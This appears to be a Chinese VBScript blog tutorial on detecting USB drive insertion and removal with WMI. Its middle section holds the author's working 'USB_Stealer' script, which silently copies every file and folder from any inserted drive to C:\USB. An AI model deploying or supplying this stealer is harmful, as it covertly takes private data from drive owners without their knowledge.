用VBS檢測U盤插入與彈出事件的代碼

來源：本站原創(chuàng)|時(shí)間：2020-01-10|欄目：vb|點(diǎn)擊：次

可以說，對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網(wǎng)上普遍流傳VBS版U盤小偷程序，基本上都是靠無限循環(huán)實(shí)現(xiàn)的，一點(diǎn)技術(shù)含量也沒有，文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán)，但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實(shí)現(xiàn)，下面是示例代碼，更詳細(xì)的信息請參考MSND文檔。

復(fù)制代碼代碼如下:

Const Configuration_Changed = 1 
Const Device_Arrival = 2 
Const Device_Removal = 3 
Const Docking = 4 
strComputer = "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!\\" _ 
& strComputer & "\root\cimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery( _ 
"Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Select Case objLatestEvent.EventType 
Case Device_Arrival 
WScript.Echo "U盤插入，盤符為" & _ 
objLatestEvent.DriveName 
Case Device_Removal 
WScript.Echo "U盤彈出，盤符為" & _ 
objLatestEvent.DriveName 
End Select 
Loop

我也寫了一個(gè)U盤小偷程序，自以為比網(wǎng)上抄來抄去的代碼要好，感興趣的可以下載來看看。

復(fù)制代碼代碼如下:

'========================================== 
'Name : USB_Stealer 
'Date : 2010/5/25 
'Author : Demon 
'Copyright : Copyright (c) 2010 Demon 
'E-Mail : still.demon@gmail.com 
'QQ : 380401911 
'Website : http://demon.tw 
'========================================== 
'Option Explicit 
On Error Resume Next 
Const Target_Folder = "C:\USB" 

Call Main() 

Sub Main() 
On Error Resume Next 
Const Device_Arrival = 2 
Const Device_Removal = 3 
Const strComputer = "." 
Dim objWMIService, colMonitoredEvents, objLatestEvent 

Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!\\" _ 
& strComputer & "\root\cimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery( _ 
"Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Select Case objLatestEvent.EventType 
Case Device_Arrival 
Copy_File objLatestEvent.DriveName 
End Select 
Loop 
End Sub 

Sub Copy_File(Folder_Path) 
On Error Resume Next 
Dim fso,file,folder 
Set fso = CreateObject("scripting.filesystemobject") 

If Not fso.FolderExists(Target_Folder) Then 
fso.CreateFolder(Target_Folder) 
End If 

For Each file In fso.GetFolder(Folder_Path).Files 
file.Copy Target_Folder & "\" & file.Name,True 
Next 

For Each folder In fso.GetFolder(Folder_Path).SubFolders 
folder.Copy Target_Folder & "\" & folder.Name,True 
Next 
End Sub

鑒于很多人反映之前寫的那篇在XP下無效，做了一下修改。說是修改，其實(shí)是直接復(fù)制粘貼腳本專家的代碼。

復(fù)制代碼代碼如下:

 
strComputer = "." 
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 

Set colEvents = objWMIService.ExecNotificationQuery _ 
("Select * From __InstanceOperationEvent Within 10 Where " _ 
& "TargetInstance isa 'Win32_LogicalDisk'") 

Do While True 
Set objEvent = colEvents.NextEvent 
If objEvent.TargetInstance.DriveType = 2 Then 
Select Case objEvent.Path_.Class 
Case "__InstanceCreationEvent" 
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ 
" has been added." 
Case "__InstanceDeletionEvent" 
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ 
" has been removed." 
End Select 
End If 
Loop 

參考鏈接：How Can I Determine When a Removable Drive Gets Connected?
大家應(yīng)該可以看出學(xué)習(xí)vbs的好地方是哪了，學(xué)習(xí)vbs官方的網(wǎng)站不得不去，我們很多的vbs相關(guān)的教材都是來自微軟官方的腳本專欄。
原文：http://demon.tw/programming/vbs-usb-insert-remove.html

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